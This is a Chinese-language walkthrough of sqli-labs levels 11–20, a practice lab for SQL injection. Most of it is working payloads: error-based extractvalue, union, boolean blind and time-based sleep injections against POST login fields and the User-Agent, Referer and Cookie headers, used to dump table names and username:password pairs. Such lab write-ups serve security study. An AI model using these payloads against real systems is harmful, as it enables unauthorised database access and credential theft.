sqli-labs通关(11-20)
第十一关(基于错误的POST单引号字符型注入)
输入admin admin登录 抓包,发送到repeater模块
在repeater模块中通过修改POST参数进行注入
方法一extractvalue测试payload
uname=admin' and 1=1--+&passwd=admin&submit=Submit //能登陆
uname=admin' and 1=2--+&passwd=admin&submit=Submit //不能登录
说明注入生效,存在报错型注入
爆库名
payload=
uname=admin' and extractvalue(1,concat(0x7e,(select database() )))--+
爆表名
payload=
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )))--+
只可以看到一部分表,我们使用 not in 就可以看到其他表了
payload=
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails'))))
可以看到没有多余的表了
爆列名
payload=
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))--+
我们用同样的方法查看剩余的列
payload=
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS'))))--+
爆字段
payload=
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))
同样可以查看剩余字段
payload=
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you','Angelina'))))
方法二联合查询union select
uname是错误的才能显示联合查询内容
uname=0’ union select 1,2–+
然后就是基本的联合查询
第十二关(基于错误的双引号POST字符型变形注入)
我们输入”报错说明可能存在注入,但是输入–+后仍然报错
后经过尝试 发现为”)闭合
方法同十一关
第十三关(POST单引号变形双注入)
经过尝试发现闭合符为’)
发现没有登陆成功返回信息,判断需要盲注
方法一报错注入
爆库名
uname=admin') and extractvalue(1,concat(0x7e,(select database())))--+
接下来就是爆表名、爆列名、爆字段
方法二时间延迟型注入
uname=admin') and sleep(5)--+
存在明显延迟
第十四关(POST双引号注入)
经过测试,发现闭合符为”
方法一报错注入
uname=admin" and extractvalue(1,concat(0x7e,(select database())))
……
方法二时间延迟型盲注
第十五关(基于bool型/时间延迟型单引号POST盲注)
经过尝试 发现为单引号’闭合
方法一布尔型
爆库名
uname=admin' and left((select database()),8)='security'
爆表名
uname=admin' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users'
爆列名
uname=admin' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='username'
爆字段
uname=admin' and left((select username from security.users order by id limit 0,1),5)='dumb'
密码同上
方法二时间延迟型盲注
uname=admin' and sleep(5)
出现明显延迟,步骤不在赘述
第十六关(基于bool型/时间延迟型双引号POST盲注)
经过尝试闭合符为双引号加括号”)
方法同上
第十七关(基于错误的更新查询POST注入)
对uname做了check_input的处理,处理如下 在magic_quotes_gpc = On的情况下,如果输入的数据有 单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。 stripslashes()删除由 addslashes() 函数添加的反斜杠 ctype_digit()判断是不是数字,是数字就返回true,否则返回false mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。 intval() 整型转换
我靠做了这么多花里胡哨的过滤,你怎么没对password也搞一次?
针对password爆破 报错注入
发现闭合符为单引号’
爆库名
admin' and extractvalue(1,concat(0x7e,(select database())))
爆表名
此payload中,passwd后必须是数字,输入字母就会出现如下问题,经过尝试发现,但不知道原理
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
爆列名
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema. columns where table_name='users' and column_name not in ('user','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS'))))--
不再赘述
第十八关(基于错误的用户代理,头部POST注入)
我们看到有user-angent回显,猜测注入点在此处。
经过尝试,发现此题相对于上题把username和password都做了check,所以我们就把目标放user-angent。
经尝试发现闭合符为单引号’
爆库名
' and extractvalue(1,concat(0x7e,(select database()))) and'
不在赘述
第十九关(基于头部的referer POST报错注入)
可以看出回显是referer字段,所以我们判断注入点在这;经过尝试,发现闭合符为单引号’
爆库名
' and extractvalue(1,concat(0x7e,(select database()))) and'
不再赘述
第二十关(基于错误的cookie头部POST注入)
登陆后界面
看到存在字段cookie,那我们就尝试在这里注入
抓个包看下
看到 cookie:uname=admin 我们就在这里进行注入
经尝试发现闭合符为单引号’
爆库名
admin' and extractvalue(1,concat(0x7e,(select database())))--+
不再赘述